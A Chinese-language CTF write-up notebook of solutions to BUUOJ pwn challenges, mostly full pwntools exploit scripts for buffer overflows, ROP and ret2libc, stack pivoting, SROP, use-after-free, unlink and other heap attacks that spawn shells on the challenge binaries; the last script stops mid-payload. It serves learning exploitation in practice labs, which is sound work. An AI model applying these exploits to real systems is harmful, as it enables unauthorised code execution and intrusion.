BUUOJ pwn(不定期更新)

在buuoj平台上做题的记录,一般情况下只记录能学到新东西的题
同类型的题只记录一次
有一些觉得比较典型的题,单独写,在此处贴链接
主要看心情

0x01 rip覆盖一下

from pwn import *
context.log_level = 'debug'
p=remote("node3.buuoj.cn",27714)
payload = "a"*23 + p64(0x40118A)
p.sendline(payload)
p.interactive()

0x02 warmup_csaw_2016

from pwn import*
#context.log_level = 'debug'
elf=ELF("./warmup_csaw_2016")
#p=process("./warmup_csaw_2016")
p=remote("node3.buuoj.cn",26890)
p.recvuntil(">")
payload = "a"*72 + p64(0x40060D)
p.sendline(payload)
sleep(0.1)
p.interactive()

0x03 ciscn_2019_n_1

很典型的64位ret2libc

# -*- coding: utf-8 -*-
from pwn import*
#context.log_level = 'debug'
p=remote("node3.buuoj.cn",29434)
p=process('./ciscn_2019_n_1')
elf=ELF('./ciscn_2019_n_1')
libc=ELF('libc-2.27.so')

pop_rdi_ret = 0x0000000000400793 

payload = "a"*0x38 + p64(pop_rdi_ret) + p64(elf.got['__libc_start_main']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])

p.recvuntil("number.\n")
p.sendline(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "puts_addr:" + hex(puts_addr)
offset = puts_addr - libc.symbols['__libc_start_main']
sys_addr = offset + libc.symbols['system']
print "sys_addr:" + hex(sys_addr)
binsh_addr = libc.search('/bin/sh').next() + offset
print "binsh_addr:" + hex(binsh_addr)

payload = "a"*0x38 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)

p.recvuntil("number.\n")
p.sendline(payload)
#sleep(0.1)
p.interactive()

如果在没有libc的情况下也可以把/bin/sh字符串写入一个段内去执行system(“/bin/sh”)

# -*- coding: utf-8 -*-
from pwn import*
#context.log_level = 'debug'
p=remote("node3.buuoj.cn",29434)
p=process('./ciscn_2019_n_1')
elf=ELF('./ciscn_2019_n_1')
pop_rdi_ret = 0x0000000000400793
bss_start = elf.bss()
gets = elf.plt['gets']
sys_addr = elf.plt['system']
payload = "a"*0x38 + p64(pop_rdi_ret) + p64(bss_start) + p64(gets) 
payload += p64(pop_rdi_ret) + p64(bss_start) + p64(sys_addr) 
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()

0x04 [HarekazeCTF2019]baby_rop2

差点把babyrop做成了这题,后来才发现babyrop有/bin/sh字符串……
这题用了printf泄露__libc_start_main函数的地址,特别的地方在于布置printf的两个参数,是以前没有做过的。另外,one_gadget真香!

#!/usr/bin/env python2
#conding=utf-8
from pwn import*
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
p=remote("node3.buuoj.cn",25892)
#p = process("./babyrop2")
elf = ELF("./babyrop2")
libc = elf.libc
pop_rdi_ret = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
string = 0x400770  #printf的"%s"参数

padding = "a"*0x28
payload = padding 
payload += p64(pop_rdi_ret) 
payload += p64(string) 
payload += p64(pop_rsi_r15) 
payload += p64(elf.got['__libc_start_main'])  # 用__libc_start_main的got地址作为printf的第二个参数
payload += "a"*8  # 没有单独的pop_rsi_ret,所以r15里面要放一个垃圾值
payload += p64(elf.plt['printf']) 
payload += p64(elf.symbols['main'])
#gdb.attach(p)
p.sendline(payload)

__libc_start_main_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
base = __libc_start_main_addr - libc.symbols['__libc_start_main']
log.success("__libc_start_main_addr==>" + hex(__libc_start_main_addr))
log.success("base==>" + hex(base))

one_gadget = base + 0x45216
payload1 = padding + p64(one_gadget)
p.sendline(payload1)
p.interactive()

0x05 BWrqt–spwn

详见栈迁移学习文章
spwn

0x06 bjdctf_2020_babystack2

先看一下main函数

可以看到read的最后一个参数是需要我们输入长度的,但是下面对于长度有一个if条件检测,不能大于10。但是我们需要让nbytes起码要大于0x10才能溢出。所以我们需要输入”-1”,输入-1的原因是因为read的最后一个参数是unsigned int类型,0是最小值,输入-1的话他会变成最大值,这个数字很大很大,必然能造成溢出,而且-1 < 10 也能绕过if的检测,这题又学到了东西。
贴出exp

from pwn import*
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
#p=remote("node3.buuoj.cn",27823)
p=process("./bjdctf_2020_babystack2")
elf=ELF("./bjdctf_2020_babystack2")
libc=elf.libc
padding = "a"*0x10 + "a"*8
p.recvuntil("name:\n")
p.sendline("-1")
p.recvuntil("name?\n")
payload = padding + p64(0x400726)
p.sendline(payload)
p.interactive()  

0x07 hitcontraining_uaf

UAF漏洞,修改小note的puts字段之后,只要执行print_note函数,就可以执行magic函数

#coding=utf-8
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
#p=process("./hacknote")
#p=remote("node3.buuoj.cn",25290)
elf=ELF("./hacknote")
magic = 0x8048986

def add(size,content):
    p.recvuntil("choice :")
    p.sendline("1")
    p.recvuntil("size :")
    p.sendline(str(size))
    p.recvuntil("Content :")
    p.sendline(content)

def delete(index):
    p.recvuntil("choice :")
    p.sendline("2")
    p.recvuntil("Index :")
    p.sendline(str(index))

def view(index):
    p.recvuntil("choice :")
    p.sendline("3")
    p.recvuntil("Index :")
    p.sendline(str(index))

add(16,"aaa")
add(16,"bbb")

delete(0)
delete(1)

add(8,p32(magic))
view(0)

p.interactive()

0x08 pwnable_hacknote

#coding=utf-8
from pwn import*
from LibcSearcher import*
#context.log_level = 'debug'
p=process("./hacknote")
#p=remote("node3.buuoj.cn",29406)
elf=ELF("./hacknote")
puts = 0x804862B

def add(size,content):
    p.recvuntil("choice :")
    p.sendline("1")
    p.recvuntil("size :")
    p.sendline(str(size))
    p.recvuntil("Content :")
    p.sendline(content)

def delete(index):
    p.recvuntil("choice :")
    p.sendline("2")
    p.recvuntil("Index :")
    p.sendline(str(index))

def view(index):
    p.recvuntil("choice :")
    p.sendline("3")
    p.recvuntil("Index :")
    p.sendline(str(index))

add(16,"aaa")
add(16,"bbb")

delete(0)
delete(1)

add(8,p32(puts)+p32(elf.got['puts']))
view(0)

puts_addr = u32(p.recvuntil("\xf7")[-4:])
libc = LibcSearcher("puts",puts_addr)
offset = puts_addr - libc.dump('puts')
system_addr = offset + libc.dump('system')
log.success("puts_addr==>" + hex(puts_addr))
log.success("system_addr==>" + hex(system_addr))

delete(2)
add(8,p32(system_addr)+";sh")
view(0)

p.interactive()  

0x09 gyctf_2020_borrowstack

i春秋的抗击疫情公益赛,栈迁移,不是自己做出来的,挖坑待填……武汉加油!
据说执行完puts函数之后,read的got表被改写了,导致rip变成了0,所以需要往后挪挪位置……

因为迁移之后函数调用会让栈增高,表现出来的就是bss的低地址会被拿来放一些数据,所以read_got就被改了

后面再补充,还没理解

#coding=utf-8
from pwn import*
from LibcSearcher import*
#context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
p=process("./borrowstack")
#p=remote("node3.buuoj.cn",26086)
#p=remote("123.56.85.29",3635)
elf = ELF("./borrowstack")
libc = elf.libc
leave_ret = 0x400699
pop_rdi_ret = 0x400703
pop_rsi_r15 = 0x400701
ret = 0x00000000004004c9
ret = p64(ret)
buf = elf.bss() + 0x300

p.recvuntil("want\n")
p.send("a"*0x60 + p64(0x601080) + p64(leave_ret))
p.recvuntil("now!\n")
payload = p64(buf) +ret+ret+ret+ret+ret+ret+ p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) 
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15) + p64(buf) + p64(0) + p64(elf.plt['read']) 
payload += p64(leave_ret)
#gdb.attach(p)
p.send(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("puts_addr==>" + hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search("/bin/sh").next()
one_gadget = libc_base + 0xf1147 

p.send(p64(0xdeadbeef) + p64(one_gadget))

p.interactive()

0x10 ciscn_2019_es_7/ciscn_2019_s_3

SROP一把梭

from pwn import*
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
context.arch = 'amd64'
p=remote("node3.buuoj.cn",27476)
#p = process("./ciscn_2019_es_7")
elf = ELF("./ciscn_2019_es_7")
libc = ELF("/home/N0vice/Desktop/BUUCTF/libc-2.27.so")
syscall_addr = 0x0000000000400517
st_sigreturn = 0x00000000004004da
main_addr = elf.symbols['main']
#gdb.attach(p)
payload = "/bin/sh\x00" + "\x00"*8 + p64(0x4004EE) 
p.send(payload)
p.recv(32)
stack_addr = u64(p.recv(8))
stack_addr = stack_addr - 280
log.success('stack_addr==>' + hex(stack_addr))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack_addr
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr
frame.rip = syscall_addr

payload = "a"*16 + p64(st_sigreturn) + p64(syscall_addr) + str(frame)
p.send(payload)
p.interactive()

0x11 hitcon2014_stkof

unlink,通过从chunk_mem_addr的指针指向的地方开始修改,即从0x602138开始修改,然后将三个数组分别改成free_got,puts_got,atoi_got三个got表,然后再通过修改chunk1,把free_got改写为puts_plt,然后执行free函数就会泄露puts函数地址,最后改atoi函数的got为one_gadget,只要输入选项就会执行atoi函数,即执行one_gadget

from pwn import*
#context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
context.arch = 'amd64'
#p=remote("node3.buuoj.cn",25166)
p = process("./stkof")
elf = ELF("./stkof")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
bss = 0x602140 + 0x10
free_got=elf.got['free']
puts_got=elf.got['puts']
atoi_got=elf.got['atoi']
puts_plt=elf.plt['puts']
def add(size):
    p.sendline("1")
    p.sendline(str(size))
    p.recvuntil("OK\n")
def free(idx):
    p.sendline("3")
    p.sendline(str(idx))
def edit(idx,size,content):
    p.sendline("2")
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil("OK\n")

add(0x10)
add(0x30)
add(0x80)

payload = p64(0) + p64(0x31) + p64(bss-0x18) + p64(bss-0x10)
payload += "a"*0x10
payload += p64(0x30) + p64(0x90)

edit(2,len(payload),payload)
free(3)
p.recvuntil('OK\n')
payload = p64(0)*2 + p64(free_got) + p64(puts_got) + p64(atoi_got) 
edit(2,len(payload),payload)
gdb.attach(p)
payload = p64(puts_plt)
edit(1,len(payload),payload)
#gdb.attach(p)
free(2)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success('puts addr: '+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
one_gadget = libc_base + 0x4526a
payload = p64(one_gadget)
edit(3,len(payload),payload)
p.interactive()

0x12 actf_2019_babystack

栈迁移,溢出只能控制到eip,然后题中会泄露栈地址,我们用泄露出的栈地址吧rbp覆盖掉,然后rip指向leave_ret,栈就会迁移到上面read读进去的地方,然后在read读进去的地方执行我们的rop链

from pwn import*
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
#p=remote("node3.buuoj.cn",25727)
p=process("./ACTF_2019_babystack")
elf=ELF("./ACTF_2019_babystack")
libc=ELF("/home/N0vice/Desktop/BUUCTF/libc-2.27.so")
#libc=elf.libc
leave_ret = 0x0000000000400a18
pop_rdi_ret = 0x0000000000400ad3
p.recvuntil("?\n")
p.sendline("224")
p.recvuntil('saved at')
p.recvuntil("0x")
stack_addr = int(p.recvline(),16)
#stack_addr = int((p.recvline_contains('0x7f')),16)
log.success("stack_addr==>" + hex(stack_addr))

payload = p64(0) + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4008F6) # main_addr
payload += "a"*(0xD0 - len(payload))
payload += p64(stack_addr) + p64(leave_ret)
p.recvuntil('>')
p.send(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) # leak puts_addr
libc_base = puts_addr - libc.sym['puts']
log.success("puts_addr==>" + hex(puts_addr))

p.recvuntil("?\n")
p.sendline("224")
p.recvuntil('saved at')
p.recvuntil("0x")
stack_addr = int(p.recvline(),16)
log.success("stack_addr==>" + hex(stack_addr))

# 0x4f2c5 0x4f322 0x10a38c
one_gadget = libc_base + 0x4f2c5
payload = p64(0) + p64(one_gadget)
payload += "a"*(0xD0 - len(payload))
payload += p64(stack_addr) + p64(leave_ret)
p.recvuntil('>')
p.send(payload)

p.interactive()

0x13 pwnable_orw

orw一把梭

from pwn import*
#p=process("pwnable_orw")
p=remote("node3.buuoj.cn",28753)
orw = asm(shellcraft.open("flag", 0))
orw += asm(shellcraft.read(3, 0x804a040, 0x100))
orw += asm(shellcraft.write(1, 0x804a040, 0x100))
orw += asm(shellcraft.exit(0))

p.sendafter("shellcode:", orw)
p.interactive()

0x14 get_started_3dsctf_2016 && not_the_same_3dsctf_2016

这两题都是一样的套路,用mprotect函数改一块可读可写的区域的权限为可读可写可执行,然后写shellcode,这里要提一下,为了使堆栈还原,所以调用mprotect函数之后要用pop保证堆栈平衡,因为push了3个参数,所以要用pop三个寄存器

#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.terminal = ('terminator','-x','sh','-c')
#p = remote("node3.buuoj.cn",27219)
p=process("./get_started_3dsctf_2016")
elf = ELF("./get_started_3dsctf_2016")
addr = 0x80ea000
pop3ret = 0x0804f460 #pop_ebx_esi_ebp_ret 其实只要找一个pop三个寄存器的gadget就行了
payload = "a"*0x38
payload += p32(elf.sym['mprotect']) + p32(pop3ret) + p32(addr) + p32(0x2000) + p32(7)
payload += p32(elf.sym['read']) + p32(pop3ret) + p32(0) + p32(addr) + p32(0x200) + p32(addr)
sleep(0.01)
#p.recvline()
p.sendline(payload)
#gdb.attach(p)
payload = asm(shellcraft.sh())
p.send(payload)
p.interactive()
from pwn import*
context.log_level = 'debug'
context.terminal = ('terminator','-x','sh','-c')
p = remote("node3.buuoj.cn",26187)
#p=process("./not_the_same_3dsctf_2016")
elf = ELF("./not_the_same_3dsctf_2016")
addr = 0x80ea000
pop3ret = 0x0804f420
payload = "a"*45
payload += p32(elf.sym['mprotect']) + p32(pop3ret) + p32(addr) + p32(0x2000) + p32(7)
payload += p32(elf.sym['read']) + p32(pop3ret) + p32(0) + p32(addr) + p32(0x200) + p32(addr)
sleep(0.01)
#p.recvline()
p.sendline(payload)
#gdb.attach(p)
payload = asm(shellcraft.sh())
p.send(payload)
p.interactive()

0x15 hitcontraining_heapcreator

off-by-one改下一个chunk的size,然后overlapping,布置free_got到chunk1中,然后show(1)泄露free_addr,接着改free_got为system。/bin/sh已经放在了第一个chunk中
因为本题是off-by-one,只能溢出一个字节,所以必须要用\x41,不能用p64(0x41),p64是8个字节

#coding=utf-8
from pwn import *
context.terminal = ['terminator','-x','sh','-c']
#p = process('./heapcreator')
p=remote("node3.buuoj.cn",29112)
elf = ELF('./heapcreator')
libc = elf.libc

def create(size, content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)

def edit(idx, content):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))
    p.recvuntil(":")
    p.sendline(content)

def show(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil(":")
    p.sendline("4")
    p.recvuntil(":")
    p.sendline(str(idx))

free_got = 0x602018
create(0x18,"aaaa")
create(0x10,"bbbb")
payload = "/bin/sh\x00" + "a"*0x10 + '\x41'  # 不能用p64(0x41)
edit(0,payload)
delete(1)
payload = p64(0)*3 +p64(0x21)+p64(0x30)+ p64(free_got)
create(0x30,payload)
show(1)

free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
#free_addr = u64(p.recvuntil('\n', drop=True).ljust(8, '\x00'))
libc_base = free_addr - libc.sym['free']
system_addr = libc_base + libc.sym['system']
log.success("free_addr==>" + hex(free_addr))
log.success("system_addr==>" + hex(system_addr))
payload = p64(system_addr)
edit(1,payload)
delete(0)
#gdb.attach(p)
p.interactive()

0x16 cmcc_pwnme1

这题未知原因要用LibcSearcher才能打通,加上用了新的模板,故做个记录

#!/usr/bin/env python
#coding=utf-8
from pwn import*
import sys
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './pwnme1' 
local = 0
if local == 1:
    p=process(binary)
else:
    p=remote("node3.buuoj.cn",28788)
elf=ELF(binary)
libc=ELF("libc6-i386_2.23-0ubuntu10_amd64.so")
def exp():
    payload = "a"*168
    payload += p32(elf.plt['puts']) 
    payload += p32(elf.sym['main'])
    payload += p32(elf.got['puts'])
    p.recvuntil(">> 6. Exit    \n")
    p.sendline("5")
    p.recvuntil("fruit:")
    p.sendline(payload)
    puts_addr = u32(p.recvuntil("\xf7")[-4:])
    libc_base = puts_addr - libc.sym['puts']
    log.success("puts_addr==>" + hex(puts_addr))
    log.success("libc_base==>" + hex(libc_base))
    sys_addr = libc_base + libc.sym['system']
    binsh = libc_base + libc.search("/bin/sh").next()
    p.recvuntil(">> 6. Exit    \n")
    p.sendline("5")
    p.recvuntil("fruit:")
    one_gadget = libc_base + 0xf02a4
    payload = "a"*168
    payload += p32(sys_addr)
    payload += p32(0xdeadbeef)
    payload += p32(binsh)
    p.send(payload)
    p.interactive()
exp()

0x17 0ctf2017-babyheap

https://n0vice.top/2020/04/16/0ctf2017-babyheap

0x18 wdb2018_guess

https://n0vice.top/2020/04/09/Stack-smash

0x19 hitcontraining_magicheap

满足choice为4869,并且magic的值大于4869,即可getshell
我们利用unsorted bin attack,将magic的值改掉即可

#!/usr/bin/env python
#coding=utf-8
from pwn import*
from LibcSearcher import *
import sys
#context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './magicheap' 
local = 0
if local == 1:
    p=process(binary)
else:
    p=remote("node3.buuoj.cn",25408)
elf=ELF(binary)
libc=elf.libc
magic = 0x6020A0
def add(size,content):
    p.recvuntil("choice :")
    p.sendline("1")
    p.recvuntil("Heap : ")
    p.sendline(str(size))
    p.recvuntil("heap:")
    p.send(content)
def edit(index,size,content):
    p.recvuntil("choice :")
    p.sendline("2")
    p.recvuntil("Index :")
    p.sendline(str(index))
    p.recvuntil("Heap : ")
    p.sendline(str(size))
    p.recvuntil("heap : ")
    p.send(content)
def free(index):
    p.recvuntil("choice :")
    p.sendline("3")
    p.recvuntil("Index :")
    p.sendline(str(index))
def exp():
    add(0x90,"aaa") # 0
    add(0x90,"bbb") # 1
    add(0x10,"ccc")
    free(1)
    payload = "a"*0x90 + p64(0) + p64(0xa1) + p64(0) + p64(magic-16)
    edit(0,0xb0,payload)
    add(0x90,"fuck")
    p.recvuntil(":")
    p.sendline("4869")
    p.interactive()
exp()

0x20 roarctf_2019_easy_pwn

https://n0vice.top/2020/04/19/roarctf-2019-easypwn

0x21 gyctf_2020_document

这题思路如下
申请document0、document1,free document0,UAF,通过unsorted bin泄露libc_base
申请document2,会切割free掉的document0一部分作为存储document2的ptr的部分,剩下的放入small bin
free 1,进入unsorted bin,然后再次申请document3,此时剩下在small bin中的部分会变成document3的存储ptr的那部分,并且document3和document1用的是同一块内存
然后大概会长这样

pwndbg> x/70gx 0x5587eb907000
0x5587eb907000:    0x0000000000000000    0x0000000000000021
0x5587eb907010:    0x00005587eb907030    0x0000000000000001
0x5587eb907020:    0x0000000000000000    0x0000000000000021
0x5587eb907030:    0x00005587eb907170    0x0000000000000001
0x5587eb907040:    0x6362626262626262    0x0000000000000021
0x5587eb907050:    0x00005587eb9070e0 <==document3 ptr    0x0000000000000001
0x5587eb907060:    0x6363636363636363    0x0000000000000051
0x5587eb907070:    0x00007f1698eabb78    0x00007f1698eabb78
0x5587eb907080:    0x6363636363636363    0x6363636363636363
0x5587eb907090:    0x6363636363636363    0x6363636363636363
0x5587eb9070a0:    0x6363636363636363    0x6363636363636363
0x5587eb9070b0:    0x0000000000000050    0x0000000000000020
0x5587eb9070c0:    0x00005587eb9070e0    0x0000000000000001
0x5587eb9070d0:    0x0000000000000000    0x0000000000000091
0x5587eb9070e0:    0x0068732f6e69622f    0x0000000000000010
0x5587eb9070f0:    0x630068732f6e6962    0x6363636363636363
0x5587eb907100:    0x6363636363636363    0x6363636363636363
0x5587eb907110:    0x6363636363636363    0x6363636363636363
0x5587eb907120:    0x6363636363636363    0x6363636363636363
0x5587eb907130:    0x6363636363636363    0x6363636363636363
0x5587eb907140:    0x6363636363636363    0x6363636363636363
0x5587eb907150:    0x6363636363636363    0x6363636363636363
0x5587eb907160:    0x0000000000000090    0x0000000000000091
0x5587eb907170:    0x0068732f6e69622f    0x0000000000000010
0x5587eb907180:    0x630068732f6e6962    0x6363636363636363
0x5587eb907190:    0x6363636363636363    0x6363636363636363
0x5587eb9071a0:    0x6363636363636363    0x6363636363636363
0x5587eb9071b0:    0x6363636363636363    0x6363636363636363
0x5587eb9071c0:    0x6363636363636363    0x6363636363636363
0x5587eb9071d0:    0x6363636363636363    0x6363636363636363
0x5587eb9071e0:    0x6363636363636363    0x6363636363636363
0x5587eb9071f0:    0x0000000000000000    0x0000000000020e11

然后我们把这个地方改成free_hook-0x10
那么chunk3的地址就会变成free_hook-0x10,然后再edit document3,就能把free_hook改成system了
exp:

#!/usr/bin/env python
#coding=utf-8
from pwn import*
from LibcSearcher import *
import sys
#context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './gyctf_2020_document' 
local = 1
if local == 1:
    p=process(binary)
else:
    p=remote("node3.buuoj.cn",28029)
elf=ELF(binary)
libc=elf.libc
def add(name,sex,content):
    p.recvuntil("choice : \n")
    p.sendline("1")
    p.recvuntil("name\n")
    p.send(str(name))
    p.recvuntil("sex\n")
    p.send(str(sex))
    p.recvuntil("information\n")
    p.sendline(str(content))
def free(index):
    p.recvuntil("choice : \n")
    p.sendline("4")
    p.recvuntil("index : \n")
    p.sendline(str(index))
def edit(index,sex,content):
    p.recvuntil("choice : \n")
    p.sendline("3")
    p.recvuntil("index : \n")
    p.sendline(str(index))
    p.recvuntil("sex?\n")
    p.sendline(str(sex))
    p.recvuntil("information\n")
    p.send(str(content))
def show(index):
    p.recvuntil("choice : \n")
    p.sendline("2")
    p.recvuntil("index : \n")
    p.sendline(str(index))
def exp():
    add("aaaaaaaa","bbbbbbbb","c"*112) # 0
    add("aaaaaaaa","bbbbbbbb","c"*112) # 1
    free(0)
    show(0)
    libc_base = u64(p.recvuntil('\x7f').ljust(8, '\x00')) - 0x3c4b78
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    free_hook = libc_base + libc.sym['__free_hook']
    system = libc_base + libc.sym['system']
    log.success("libc_base==>" + hex(libc_base))
    log.success("malloc_hook==>" + hex(malloc_hook))
    log.success("free_hook==>" + hex(free_hook))

    add("/bin/sh\x00","/bin/sh\x00","c"*112) # 2
    free(1)
    add("/bin/sh\x00","/bin/sh\x00","c"*112) # 3
    gdb.attach(p)
    payload = p64(0) + p64(0x21) + p64(free_hook-0x10) + p64(0x1) + p64(0) + p64(0x51)
    payload += "\x00"*(112-len(payload))
    edit(0,"N",payload)
    payload = p64(system)
    payload += "\x00"*(112-len(payload))
    edit(3,"N",payload)
    free(1)

    p.interactive()
exp()

0x22 others_babystack

覆盖canary的低位\x00,将字符串和canary连起来,泄露出canary,然后ROP
exp:

#!/usr/bin/env python
#coding=utf-8
from pwn import*
from LibcSearcher import *
import sys
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './babystack' 
local = 0
if local == 1:
    p=process(binary)
else:
    p=remote("node3.buuoj.cn",26702)
elf=ELF(binary)
libc=elf.libc
pop_rdi_ret = 0x0000000000400a93    
def exp():
    p.recvuntil(">> ")
    p.sendline("1")
    payload = "a"*133 + "bbbb"
    p.send(payload)
    p.recvuntil(">> ")
    p.sendline("2")
    p.recvuntil("bbbb")
    canary = p.recv(7).rjust(8,"\x00")
    canary = u64(canary)
    log.success("canary==>" + hex(canary))
    p.recvuntil(">> ")
    p.sendline("1")
    payload = "a"*0x88 + p64(canary) + "a"*8 + p64(pop_rdi_ret) + p64(elf.got['__libc_start_main']) + p64(elf.plt['puts']) + p64(0x400908)
    p.send(payload)
    p.recvuntil(">> ")
    p.sendline("3")
    libc_start_main_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    #libc_start_main_addr = u32(p.recvuntil('\xf7')[-4:])
    libc_base = libc_start_main_addr - libc.sym['__libc_start_main']
    log.success("libc_start_main_addr==>" + hex(libc_start_main_addr))
    log.success("libc_base==>" + hex(libc_base))
    system = libc_base + libc.sym['system']
    binsh = libc_base + libc.search("/bin/sh").next()
    one_gadget = libc_base + 0x45216
    payload = "a"*0x88 + p64(canary) + "a"*8 + p64(pop_rdi_ret)  + p64(binsh) + p64(system)
    p.recvuntil(">> ")
    p.sendline("1")
    p.send(payload)
    p.recvuntil(">> ")
    p.sendline("3")
    p.interactive()
exp()

0x23 gyctf_2020_some_thing_exceting

这题将flag读到了程序中,所以只需要leak出flag就行了
但是我想fastbin attack打一下getshell看看,但是出了点问题
fastbin构造成chunk0->chunk1->chunk0这样的时候,泄露不出地址了,接收不到0x7f开头的地址样子的东西了
不知道为什么
后面再补(挖坑待填)
exp:

#!/usr/bin/env python
#coding=utf-8
from pwn import*
from LibcSearcher import *
import sys
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './gyctf_2020_some_thing_exceting' 
local = 1
if local == 1:
    p=process(binary)
else:
    p=remote("node3.buuoj.cn",29130)
elf=ELF(binary)
libc=elf.libc
flag = 0x6020a8
def add(size_ba,size_na,content_a,content_b):
    p.recvuntil("do :")
    p.sendline("1")
    p.recvuntil("length : ")
    p.sendline(str(size_ba))
    p.recvuntil("ba : ")
    p.send(content_a)
    p.recvuntil("length : ")
    p.sendline(str(size_na))
    p.recvuntil("na : ")
    p.send(content_b)
def free(index):
    p.recvuntil("do :")
    p.sendline("3")
    p.recvuntil("ID : ")
    p.sendline(str(index))
def show(index):
    p.recvuntil("do :")
    p.sendline("4")
    p.recvuntil("ID : ")
    p.sendline(str(index))
def exp():
    add(0x60,0x60,"aaaa","bbbb") # 0
    add(0x60,0x60,"cccc","dddd") # 1
    free(0)
    free(1)
    add(16,0x60,p64(flag),p64(flag))
    show(0)
    p.interactive()
exp()

0x24 npuctf_2020_easyheap

申请释放0x20的chunk后,再申请回来,就能获得用户内容相邻的两块chunk,保存用户chunk信息的chunk会在上面放在一起
然后off by one,形成chunk overlap,伪造存信息的chunk,就能把指针改成free_got,同时伪造的时候把prev_inuse位改成0
构造成一个假的被free的chunk,就能leak libc,然后向被改之前的指针对应的chunk写入system
就getshell了
exp:

#!/usr/bin/env python
#coding=utf-8
from pwn import*
from LibcSearcher import *
import sys
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './npuctf_2020_easyheap' 
local = 0
if local == 1:
    p=process(binary)
else:
    p=remote("node3.buuoj.cn",28734)
elf=ELF(binary)
libc=elf.libc
def add(size,content):
    p.recvuntil("choice :")
    p.sendline("1")
    p.recvuntil("only) : ")
    p.sendline(str(size))
    p.recvuntil("Content:")
    p.send(content)
def edit(index,content):
    p.recvuntil("choice :")
    p.sendline("2")
    p.recvuntil("Index :")
    p.sendline(str(index))
    p.recvuntil("Content: ")
    p.send(content)
def show(index):
    p.recvuntil("choice :")
    p.sendline("3")
    p.recvuntil("Index :")
    p.sendline(str(index))
def free(index):
    p.recvuntil("choice :")
    p.sendline("4")
    p.recvuntil("Index :")
    p.sendline(str(index))
def exp():
    add(24,"aaaa") # 0
    free(0)
    add(56,"bbbb") # 0
    add(24,"cccc") # 1
    add(24,"2222") # 2
    add(24,"3333") # 3
    payload = "a"*0x38 + p8(0x41)
    edit(0,payload)
    free(1)
    add(56,"fuck") # 1
    payload = "a"*0x10 + p64(0) + p64(0x20) + p64(0x18) + p64(elf.got['free'])
    edit(1,payload)
    show(2)
    free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    log.success("free_addr==>" + hex(free_addr))
    libc_base = free_addr - libc.sym['free']
    log.success("libc_base==>" + hex(libc_base))
    system = libc_base + libc.sym['system']
    edit(2,p64(system))
    add(24,"/bin/sh") # 4
    free(4)
    p.interactive()
exp()

0x25 wdb_2018_3rd_pesp

这个题比较简单,edit存在任意字节溢出,模仿ZJCTF那个题做,改chunk0的指针为free_got,然后改free_got为system,但是有一个需要注意的,edit还存在off by null,会把后面一个地址的低字节置0,而free_got下面就是put_got,这一波直接把puts_got改炸了,程序就挂了,所以要把puts_got复原

#!/usr/bin/env python
#coding=utf-8
from pwn import*
from LibcSearcher import *
import sys
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './wdb_2018_3rd_pesp' 
local = 0
if local == 1:
    p=process(binary)
else:
    p=remote("node3.buuoj.cn",26391)
elf=ELF(binary)
libc=elf.libc
def add(size,content):
    p.recvuntil("choice:")
    p.sendline("2")
    p.recvuntil("name:")
    p.sendline(str(size))
    p.recvuntil("servant:")
    p.sendline(content)
def edit(index,size,content):
    p.recvuntil("choice:")
    p.sendline("3")
    p.recvuntil("servant:")
    p.sendline(str(index))
    p.recvuntil("name:")
    p.sendline(str(size))
    p.recvuntil("servnat:")
    p.sendline(content)
def show():
    p.recvuntil("choice:")
    p.sendline("1")
def free(index):
    p.recvuntil("choice:")
    p.sendline("4")
    p.recvuntil("servant:")
    p.sendline(str(index))
def exp():

    add(0x60,"a"*0x20) # 0
    add(0x60,"b"*0x20) # 1
    add(0x60,"/bin/sh\x00") # 2
    free(1)
    payload = "a"*0x60 + p64(0) + p64(0x71) + p64(0x6020ad)
